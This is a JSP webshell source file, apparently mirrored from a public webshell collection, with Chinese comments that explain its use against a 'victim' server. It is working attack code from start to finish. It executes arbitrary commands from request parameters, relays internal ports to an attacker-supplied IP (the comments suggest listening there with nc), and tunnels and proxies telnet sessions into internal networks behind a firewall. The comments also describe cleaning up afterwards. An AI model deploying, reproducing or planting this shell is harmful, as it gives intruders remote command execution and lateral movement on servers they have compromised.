mirror of
https://github.com/tennc/webshell
synced 2024-11-22 19:23:05 +00:00
814 lines
18 KiB
Text
814 lines
18 KiB
Text
<%
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/*
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* WEBSHELL.JSP
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*
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* Author: lovehacker
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* E-mail: wangyun188@hotmail.com
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*
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* 使用方法:
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* ]http://victim/webshell.jsp?[options]
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* options:
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* action=piped&remoteHost=&remotePort=&myIp=&myPort=
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* action=tunnel&remoteHost=&remotePort=&myPort=
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* action=login&username=&password=&myPort=
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* action=send&myShell=&myPort=&cmd=
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* action=close&myPort=
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* action=shell&cmd=
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* 例子：
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* action=piped&remoteHost=192.168.0.1&remotePort=25&myIp=218.0.0.1&myPort=12345 -- 将192.168.0.1的25端口与218.0.0.1的12345端口连接起来（可以先用NC监听12345端口）。适用于你无法直接访问已控制的WEB服务器的内网里某机器的某端口，而防火墙又未过滤该WEB服务器向外的连接。
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* action=tunnel&remoteHost=192.168.0.1&remotePort=23&myPort=65534 -- 实现通过访问该webshell.jsp访问内网某主机telnet服务的功能。（原本想实现通过访问webshell.jsp实现对内网任意服务访问的功能，但jsp功能有限实现起来较为复杂），适用于你控制的机器只开了80端口，并且防火墙不允许它访问Internet，而你又非常想访问它内网某主机的Telnet服务:-)
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* action=login&username=root&password=helloroot&myPort=65534 -- 上一步只是告诉了要Telnet那台机器，这一步才开始真正登陆，你要输入要telnet主机的正确的用户名密码才行喔，要不然谁也没办法。
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* action=send&myShell=&myPort=&cmd= -- 上一步如果顺利完成，那么你就可以在上边执行你想执行的命令了。myShell这个参数是结束标记，否则无法知道数据流什么时间该结束（一定要写对喔，否则嘿嘿，就麻烦罗）。cmd这个参数就是你要执行的命令了，比如：“which ssh”，建议你这样玩：myShell=lovehacker&cmd=ls -la;echo lovehacker。
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* action=close&myPort= -- 你是退出了telnet登陆，但程序在主机上开放的端口还没关闭，所以你要再执行这个命令，现场打扫干净嘛。
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* action=shell&cmd= -- 在你控制的这台机器上执行命令。Unix:/bin/sh -c tar vxf xxx.tar Windows:c:\winnt\system32\cmd.exe /c type c:\winnt\win.ini
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* 程序说明：
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* 想通过jsp实现telnet代理的时候着实头痛了一把，每个请求都是一个新的线程，client socket去连接
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* telnet服务只能批量命令，无法实现与用户的交互，后来想了个笨办法：把telnet的过程分步完成，接
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* 收到tunnel命令后，先起两个线程，一个监听端口等待连接，一个先和远程服务器建立好端口连接并一
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* 直不断开，这下server socket再一次一次的收数据，一次次的转发到远程服务器，就可以记录状态，实
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* 现和用户的交互了，但总觉得这办法太笨，如果用JSP实现telnet代理功能，你有更好的办法的话请一定
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* 要来信告诉我。
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* 版权说明：
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* 本身实现Telnet的功能我也是在人家代码的基础上修改的，所以：版权没有，你可以任意修改、复制。
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* 只是加了新功能别忘了Mail一份给我喔！
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*
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*
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*/
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%>
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<%@ page import="java.io.*" %>
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<%@ page import="java.net.*" %>
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<%@ page import="java.util.*" %>
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<%@ page import="java.awt.Dimension" %>
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<%
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class redirector implements Runnable
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{
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private redirector companion = null;
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private Socket localSocket, remoteSocket;
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private InputStream from;
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private OutputStream to;
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private byte[] buffer = new byte[4096];
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public redirector(Socket local, Socket remote)
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{
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try {
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localSocket = local;
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remoteSocket = remote;
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from = localSocket.getInputStream();
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to = remoteSocket.getOutputStream();
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} catch(Exception e) {}
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}
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public void couple(redirector c) {
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companion = c;
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Thread listen = new Thread(this);
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listen.start();
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}
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public void decouple() { companion = null; }
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public void run()
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{
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int count;
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try {
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while(companion != null) {
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if((count = from.read(buffer)) < 0)
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break;
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to.write(buffer, 0, count);
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}
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} catch(Exception e) {}
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try {
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from.close();
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to.close();
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localSocket.close();
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remoteSocket.close();
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if(companion != null) companion.decouple();
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} catch(Exception io) {}
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}
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}
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class redirector1 implements Runnable
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{
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private redirector1 companion = null;
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private Socket localSocket, remoteSocket;
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private InputStream from;
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private OutputStream to;
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private byte[] buffer = new byte[4096];
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public redirector1(Socket local, Socket remote)
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{
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try {
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localSocket = local;
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remoteSocket = remote;
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from = localSocket.getInputStream();
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to = remoteSocket.getOutputStream();
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} catch(Exception e) {}
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}
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public void couple(redirector1 c) {
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companion = c;
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Thread listen = new Thread(this);
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listen.start();
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}
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public void decouple() { companion = null; }
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public void run()
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{
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String tmp = "";
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int count;
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try {
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while(companion != null) {
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if((count = from.read(buffer)) < 0) break;
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tmp = new String(buffer);
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if(tmp.startsWith("--GoodBye--"))
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{
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from.close();
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to.close();
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remoteSocket.close();
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localSocket.close();
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System.exit(1);
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}
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to.write(buffer, 0, count);
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}
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} catch(Exception e) {}
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try {
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if(companion != null) companion.decouple();
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} catch(Exception io) {}
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}
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}
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class piped implements Runnable
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{
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String remoteHost1,remoteHost2;
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int remotePort1, remotePort2;
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Thread listener, connection;
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public piped(String raddr1,int rport1, String raddr2, int rport2)
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{
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remoteHost1 = raddr1; remotePort1 = rport1;
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remoteHost2 = raddr2; remotePort2 = rport2;
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listener = new Thread(this);
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listener.setPriority(Thread.MIN_PRIORITY);
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listener.start();
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}
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public void run()
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{
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Socket destinationSocket1 = null;
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Socket destinationSocket2 = null;
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try {
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destinationSocket1 = new Socket(remoteHost1,remotePort1);
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destinationSocket2 = new Socket(remoteHost2, remotePort2);
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redirector r1 = new redirector(destinationSocket1, destinationSocket2);
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redirector r2 = new redirector(destinationSocket2, destinationSocket1);
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r1.couple(r2);
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r2.couple(r1);
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} catch(Exception e) {
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try {
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DataOutputStream os = new DataOutputStream(destinationSocket2.getOutputStream());
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os.writeChars("Remote host refused connection.\n");
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destinationSocket2.close();
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} catch(IOException ioe) { }
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}
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}
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}
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class tunnel implements Runnable
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{
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String remoteHost;
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int localPort, remotePort;
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Thread listener, connection;
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ServerSocket server;
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public tunnel(int lport, String raddr, int rport)
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{
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localPort = lport;
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remoteHost = raddr; remotePort = rport;
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try {
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server = new ServerSocket(localPort);
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} catch(Exception e) {}
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listener = new Thread(this);
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listener.setPriority(Thread.MIN_PRIORITY);
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listener.start();
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}
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public void run()
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{
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Socket destinationSocket = null;
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try{
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destinationSocket = new Socket(remoteHost, remotePort);
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}catch(Exception e){}
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while(true)
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{
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Socket localSocket = null;
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try {
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localSocket = server.accept();
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} catch(Exception e) {
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continue;
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}
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try {
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redirector1 r1 = new redirector1(localSocket, destinationSocket);
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redirector1 r2 = new redirector1(destinationSocket, localSocket);
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r1.couple(r2);
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r2.couple(r1);
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} catch(Exception e) {
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try {
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DataOutputStream os = new DataOutputStream(localSocket.getOutputStream());
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os.writeChars("Remote host refused connection.\n");
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localSocket.close();
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} catch(IOException ioe) {}
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continue;
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}
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}
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}
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}
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class TelnetIO
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{
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public String toString() { return "$Id: TelnetIO.java,v 1.10 1998/02/09 10:22:18 leo Exp $"; }
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private int debug = 0;
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private byte neg_state = 0;
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private final static byte STATE_DATA = 0;
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private final static byte STATE_IAC = 1;
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private final static byte STATE_IACSB = 2;
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private final static byte STATE_IACWILL = 3;
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private final static byte STATE_IACDO = 4;
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private final static byte STATE_IACWONT = 5;
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private final static byte STATE_IACDONT = 6;
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private final static byte STATE_IACSBIAC = 7;
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private final static byte STATE_IACSBDATA = 8;
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private final static byte STATE_IACSBDATAIAC = 9;
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private byte current_sb;
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private final static byte IAC = (byte)255;
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private final static byte EOR = (byte)239;
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private final static byte WILL = (byte)251;
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private final static byte WONT = (byte)252;
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private final static byte DO = (byte)253;
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private final static byte DONT = (byte)254;
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private final static byte SB = (byte)250;
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private final static byte SE = (byte)240;
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private final static byte TELOPT_ECHO = (byte)1; /* echo on/off */
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private final static byte TELOPT_EOR = (byte)25; /* end of record */
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private final static byte TELOPT_NAWS = (byte)31; /* NA-WindowSize*/
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private final static byte TELOPT_TTYPE = (byte)24; /* terminal type */
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private final byte[] IACWILL = { IAC, WILL };
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private final byte[] IACWONT = { IAC, WONT };
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private final byte[] IACDO = { IAC, DO };
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private final byte[] IACDONT = { IAC, DONT };
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private final byte[] IACSB = { IAC, SB };
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private final byte[] IACSE = { IAC, SE };
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private final byte TELQUAL_IS = (byte)0;
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private final byte TELQUAL_SEND = (byte)1;
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private byte[] receivedDX;
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private byte[] receivedWX;
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private byte[] sentDX;
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private byte[] sentWX;
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private Socket socket;
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private BufferedInputStream is;
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private BufferedOutputStream os;
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//private StatusPeer peer = this; /* peer, notified on status */
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public void connect(String address, int port) throws IOException {
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if(debug > 0) System.out.println("Telnet.connect("+address+","+port+")");
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socket = new Socket(address, port);
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is = new BufferedInputStream(socket.getInputStream());
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os = new BufferedOutputStream(socket.getOutputStream());
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neg_state = 0;
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receivedDX = new byte[256];
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sentDX = new byte[256];
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receivedWX = new byte[256];
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sentWX = new byte[256];
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}
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public void disconnect() throws IOException {
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if(debug > 0) System.out.println("TelnetIO.disconnect()");
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if(socket !=null) socket.close();
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}
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public void connect(String address) throws IOException {
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connect(address, 23);
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}
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//public void setPeer(StatusPeer obj) { peer = obj; }
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public int available() throws IOException
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{
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return is.available();
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}
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public byte[] receive() throws IOException {
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int count = is.available();
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byte buf[] = new byte[count];
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count = is.read(buf);
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if(count < 0) throw new IOException("Connection closed.");
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if(debug > 1) System.out.println("TelnetIO.receive(): read bytes: "+count);
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buf = negotiate(buf, count);
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return buf;
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}
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public void send(byte[] buf) throws IOException {
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if(debug > 1) System.out.println("TelnetIO.send("+buf+")");
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os.write(buf);
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os.flush();
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}
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public void send(byte b) throws IOException {
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if(debug > 1) System.out.println("TelnetIO.send("+b+")");
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os.write(b);
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os.flush();
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}
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private void handle_sb(byte type, byte[] sbdata, int sbcount)
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throws IOException
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{
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if(debug > 1)
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System.out.println("TelnetIO.handle_sb("+type+")");
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switch (type) {
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case TELOPT_TTYPE:
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if (sbcount>0 && sbdata[0]==TELQUAL_SEND) {
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String ttype;
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send(IACSB);send(TELOPT_TTYPE);send(TELQUAL_IS);
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/* FIXME: need more logic here if we use
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* more than one terminal type
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*/
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Vector vec = new Vector(2);
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vec.addElement("TTYPE");
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ttype = (String)notifyStatus(vec);
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if(ttype == null) ttype = "dumb";
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byte[] bttype = new byte[ttype.length()];
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ttype.getBytes(0,ttype.length(), bttype, 0);
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send(bttype);
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send(IACSE);
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}
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}
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}
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public Object notifyStatus(Vector status) {
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if(debug > 0)
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System.out.println("TelnetIO.notifyStatus("+status+")");
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return null;
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}
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private byte[] negotiate(byte buf[], int count) throws IOException {
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if(debug > 1)
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System.out.println("TelnetIO.negotiate("+buf+","+count+")");
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byte nbuf[] = new byte[count];
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byte sbbuf[] = new byte[count];
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byte sendbuf[] = new byte[3];
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byte b,reply;
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int sbcount = 0;
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int boffset = 0, noffset = 0;
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Vector vec = new Vector(2);
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while(boffset < count) {
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b=buf[boffset++];
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if (b>=128)
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b=(byte)((int)b-256);
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switch (neg_state) {
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case STATE_DATA:
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if (b==IAC) {
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neg_state = STATE_IAC;
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} else {
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nbuf[noffset++]=b;
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}
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break;
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case STATE_IAC:
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switch (b) {
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case IAC:
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if(debug > 2)
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System.out.print("IAC ");
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neg_state = STATE_DATA;
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nbuf[noffset++]=IAC;
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break;
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case WILL:
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if(debug > 2)
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System.out.print("WILL ");
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neg_state = STATE_IACWILL;
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break;
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case WONT:
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if(debug > 2)
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System.out.print("WONT ");
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neg_state = STATE_IACWONT;
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break;
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case DONT:
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if(debug > 2)
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System.out.print("DONT ");
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neg_state = STATE_IACDONT;
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break;
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case DO:
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if(debug > 2)
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System.out.print("DO ");
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neg_state = STATE_IACDO;
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break;
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case EOR:
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if(debug > 2)
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System.out.print("EOR ");
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neg_state = STATE_DATA;
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break;
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case SB:
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if(debug > 2)
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System.out.print("SB ");
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neg_state = STATE_IACSB;
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sbcount = 0;
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break;
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default:
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if(debug > 2)
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System.out.print(
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"<UNKNOWN "+b+" > "
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);
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neg_state = STATE_DATA;
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break;
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}
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break;
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case STATE_IACWILL:
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switch(b) {
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case TELOPT_ECHO:
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if(debug > 2)
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System.out.println("ECHO");
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reply = DO;
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vec = new Vector(2);
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vec.addElement("NOLOCALECHO");
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notifyStatus(vec);
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break;
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case TELOPT_EOR:
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if(debug > 2)
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System.out.println("EOR");
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reply = DO;
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break;
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default:
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if(debug > 2)
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System.out.println(
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"<UNKNOWN,"+b+">"
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);
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reply = DONT;
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break;
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}
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if(debug > 1)
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System.out.println("<"+b+", WILL ="+WILL+">");
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if ( reply != sentDX[b+128] ||
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WILL != receivedWX[b+128]
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) {
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sendbuf[0]=IAC;
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sendbuf[1]=reply;
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sendbuf[2]=b;
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send(sendbuf);
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sentDX[b+128] = reply;
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receivedWX[b+128] = WILL;
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}
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neg_state = STATE_DATA;
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break;
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case STATE_IACWONT:
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switch(b) {
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case TELOPT_ECHO:
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if(debug > 2)
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System.out.println("ECHO");
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vec = new Vector(2);
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vec.addElement("LOCALECHO");
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notifyStatus(vec);
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reply = DONT;
|
||
break;
|
||
case TELOPT_EOR:
|
||
if(debug > 2)
|
||
System.out.println("EOR");
|
||
reply = DONT;
|
||
break;
|
||
default:
|
||
if(debug > 2)
|
||
System.out.println(
|
||
"<UNKNOWN,"+b+">"
|
||
);
|
||
reply = DONT;
|
||
break;
|
||
}
|
||
if ( reply != sentDX[b+128] ||
|
||
WONT != receivedWX[b+128]
|
||
) {
|
||
sendbuf[0]=IAC;
|
||
sendbuf[1]=reply;
|
||
sendbuf[2]=b;
|
||
send(sendbuf);
|
||
sentDX[b+128] = reply;
|
||
receivedWX[b+128] = WILL;
|
||
}
|
||
neg_state = STATE_DATA;
|
||
break;
|
||
case STATE_IACDO:
|
||
switch (b) {
|
||
case TELOPT_ECHO:
|
||
if(debug > 2)
|
||
System.out.println("ECHO");
|
||
reply = WILL;
|
||
vec = new Vector(2);
|
||
vec.addElement("LOCALECHO");
|
||
notifyStatus(vec);
|
||
break;
|
||
case TELOPT_TTYPE:
|
||
if(debug > 2)
|
||
System.out.println("TTYPE");
|
||
reply = WILL;
|
||
break;
|
||
case TELOPT_NAWS:
|
||
if(debug > 2)
|
||
System.out.println("NAWS");
|
||
vec = new Vector(2);
|
||
vec.addElement("NAWS");
|
||
Dimension size = (Dimension)
|
||
notifyStatus(vec);
|
||
receivedDX[b] = DO;
|
||
if(size == null)
|
||
{
|
||
/* this shouldn't happen */
|
||
send(IAC);
|
||
send(WONT);
|
||
send(TELOPT_NAWS);
|
||
reply = WONT;
|
||
sentWX[b] = WONT;
|
||
break;
|
||
}
|
||
reply = WILL;
|
||
sentWX[b] = WILL;
|
||
sendbuf[0]=IAC;
|
||
sendbuf[1]=WILL;
|
||
sendbuf[2]=TELOPT_NAWS;
|
||
send(sendbuf);
|
||
send(IAC);send(SB);send(TELOPT_NAWS);
|
||
send((byte) (size.width >> 8));
|
||
send((byte) (size.width & 0xff));
|
||
send((byte) (size.height >> 8));
|
||
send((byte) (size.height & 0xff));
|
||
send(IAC);send(SE);
|
||
break;
|
||
default:
|
||
if(debug > 2)
|
||
System.out.println(
|
||
"<UNKNOWN,"+b+">"
|
||
);
|
||
reply = WONT;
|
||
break;
|
||
}
|
||
if ( reply != sentWX[128+b] ||
|
||
DO != receivedDX[128+b]
|
||
) {
|
||
sendbuf[0]=IAC;
|
||
sendbuf[1]=reply;
|
||
sendbuf[2]=b;
|
||
send(sendbuf);
|
||
sentWX[b+128] = reply;
|
||
receivedDX[b+128] = DO;
|
||
}
|
||
neg_state = STATE_DATA;
|
||
break;
|
||
case STATE_IACDONT:
|
||
switch (b) {
|
||
case TELOPT_ECHO:
|
||
if(debug > 2)
|
||
System.out.println("ECHO");
|
||
reply = WONT;
|
||
vec = new Vector(2);
|
||
vec.addElement("NOLOCALECHO");
|
||
notifyStatus(vec);
|
||
break;
|
||
case TELOPT_NAWS:
|
||
if(debug > 2)
|
||
System.out.println("NAWS");
|
||
reply = WONT;
|
||
break;
|
||
default:
|
||
if(debug > 2)
|
||
System.out.println(
|
||
"<UNKNOWN,"+b+">"
|
||
);
|
||
reply = WONT;
|
||
break;
|
||
}
|
||
if ( reply != sentWX[b+128] ||
|
||
DONT != receivedDX[b+128]
|
||
) {
|
||
send(IAC);send(reply);send(b);
|
||
sentWX[b+128] = reply;
|
||
receivedDX[b+128] = DONT;
|
||
}
|
||
neg_state = STATE_DATA;
|
||
break;
|
||
case STATE_IACSBIAC:
|
||
if(debug > 2) System.out.println(""+b+" ");
|
||
if (b == IAC) {
|
||
sbcount = 0;
|
||
current_sb = b;
|
||
neg_state = STATE_IACSBDATA;
|
||
} else {
|
||
System.out.println("(bad) "+b+" ");
|
||
neg_state = STATE_DATA;
|
||
}
|
||
break;
|
||
case STATE_IACSB:
|
||
if(debug > 2) System.out.println(""+b+" ");
|
||
switch (b) {
|
||
case IAC:
|
||
neg_state = STATE_IACSBIAC;
|
||
break;
|
||
default:
|
||
current_sb = b;
|
||
sbcount = 0;
|
||
neg_state = STATE_IACSBDATA;
|
||
break;
|
||
}
|
||
break;
|
||
case STATE_IACSBDATA:
|
||
if (debug > 2) System.out.println(""+b+" ");
|
||
switch (b) {
|
||
case IAC:
|
||
neg_state = STATE_IACSBDATAIAC;
|
||
break;
|
||
default:
|
||
sbbuf[sbcount++] = b;
|
||
break;
|
||
}
|
||
break;
|
||
case STATE_IACSBDATAIAC:
|
||
if (debug > 2) System.out.println(""+b+" ");
|
||
switch (b) {
|
||
case IAC:
|
||
neg_state = STATE_IACSBDATA;
|
||
sbbuf[sbcount++] = IAC;
|
||
break;
|
||
case SE:
|
||
handle_sb(current_sb,sbbuf,sbcount);
|
||
current_sb = 0;
|
||
neg_state = STATE_DATA;
|
||
break;
|
||
case SB:
|
||
handle_sb(current_sb,sbbuf,sbcount);
|
||
neg_state = STATE_IACSB;
|
||
break;
|
||
default:
|
||
neg_state = STATE_DATA;
|
||
break;
|
||
}
|
||
break;
|
||
default:
|
||
if (debug > 2)
|
||
System.out.println(
|
||
"This should not happen: "+
|
||
neg_state+" "
|
||
);
|
||
neg_state = STATE_DATA;
|
||
break;
|
||
}
|
||
}
|
||
buf = new byte[noffset];
|
||
System.arraycopy(nbuf, 0, buf, 0, noffset);
|
||
return buf;
|
||
}
|
||
}
|
||
|
||
class TelnetConnect
|
||
{
|
||
TelnetIO tio = new TelnetIO();
|
||
int port = 0;
|
||
public TelnetConnect(int port)
|
||
{
|
||
this.port = port;
|
||
}
|
||
|
||
public void connect()
|
||
{
|
||
try {
|
||
tio.connect("localhost",port);
|
||
} catch(IOException e) {}
|
||
}
|
||
|
||
public void disconnect()
|
||
{
|
||
try{
|
||
tio.disconnect();
|
||
}catch(IOException e){}
|
||
}
|
||
|
||
private String wait(String prompt)
|
||
{
|
||
String tmp = "";
|
||
do {
|
||
try {
|
||
tmp += new String(tio.receive(), 0);
|
||
}catch(IOException e) {}
|
||
} while(tmp.indexOf(prompt) == -1);
|
||
return tmp;
|
||
}
|
||
|
||
private byte[] receive()
|
||
{
|
||
byte[] temp = null;
|
||
try{
|
||
temp = tio.receive();
|
||
}catch(IOException e){}
|
||
return temp;
|
||
}
|
||
|
||
private String waitshell()
|
||
{
|
||
String tmp = "";
|
||
do {
|
||
try { tmp += new String(tio.receive(), 0); }
|
||
catch(IOException e) {}
|
||
} while((tmp.indexOf("$") == -1)&&(tmp.indexOf("#") == -1)&&(tmp.indexOf("%") == -1));
|
||
return tmp;
|
||
}
|
||
|
||
private void send(String str)
|
||
{
|
||
byte[] buf = new byte[str.length()];
|
||
str.getBytes(0, str.length(), buf, 0);
|
||
try { tio.send(buf); } catch(IOException e) {}
|
||
}
|
||
}
|
||
%>
|
||
<%
|
||
String action = request.getParameter("action");
|
||
String cmd = request.getParameter("cmd");
|
||
String remoteHost = request.getParameter("remoteHost");
|
||
String myIp = request.getParameter("myIp");
|
||
String myPort = request.getParameter("myPort");
|
||
String remotePort = request.getParameter("remotePort");
|
||
String username = request.getParameter("username");
|
||
String password = request.getParameter("password");
|
||
String myShell = request.getParameter("myShell");
|
||
if(action.equals("shell")){
|
||
try {
|
||
Process child = Runtime.getRuntime().exec(cmd);
|
||
InputStream in = child.getInputStream();
|
||
int c;
|
||
while ((c = in.read()) != -1) { out.print((char)c); }
|
||
in.close();
|
||
try { child.waitFor();} catch (InterruptedException e) {}
|
||
} catch (IOException e) {}
|
||
}else if(action.equals("piped")){
|
||
piped me = new piped(remoteHost,Integer.parseInt(remotePort),myIp,Integer.parseInt(myPort));
|
||
}else if(action.equals("tunnel")){
|
||
tunnel me = new tunnel(Integer.parseInt(myPort),
|
||
remoteHost, Integer.parseInt(remotePort));
|
||
}else if(action.equals("login")){
|
||
TelnetConnect tc = new TelnetConnect(Integer.parseInt(myPort));
|
||
tc.connect();
|
||
out.print(tc.wait("login:"));
|
||
tc.send(username+"\r");
|
||
out.print(tc.wait("Password:"));
|
||
tc.send(password+"\r");
|
||
out.print(tc.waitshell());
|
||
tc.disconnect();
|
||
}else if(action.equals("send")){
|
||
TelnetConnect tc = new TelnetConnect(Integer.parseInt(myPort));
|
||
tc.connect();
|
||
tc.send(cmd+"\r");
|
||
if(!myShell.equals("logout"))
|
||
out.print(tc.wait(myShell));
|
||
tc.disconnect();
|
||
}else if(action.equals("close")){
|
||
try{
|
||
Socket s = new Socket("127.0.0.1",Integer.parseInt(myPort));
|
||
DataOutputStream dos = new DataOutputStream(s.getOutputStream());
|
||
PrintStream ps = new PrintStream(dos);
|
||
ps.println("--GoodBye--");
|
||
ps.close();
|
||
dos.close();
|
||
s.close();
|
||
}catch(Exception e){}
|
||
}else{
|
||
out.print("<Font color=black size=7>You Love Hacker Too?");
|
||
}
|
||
%>
|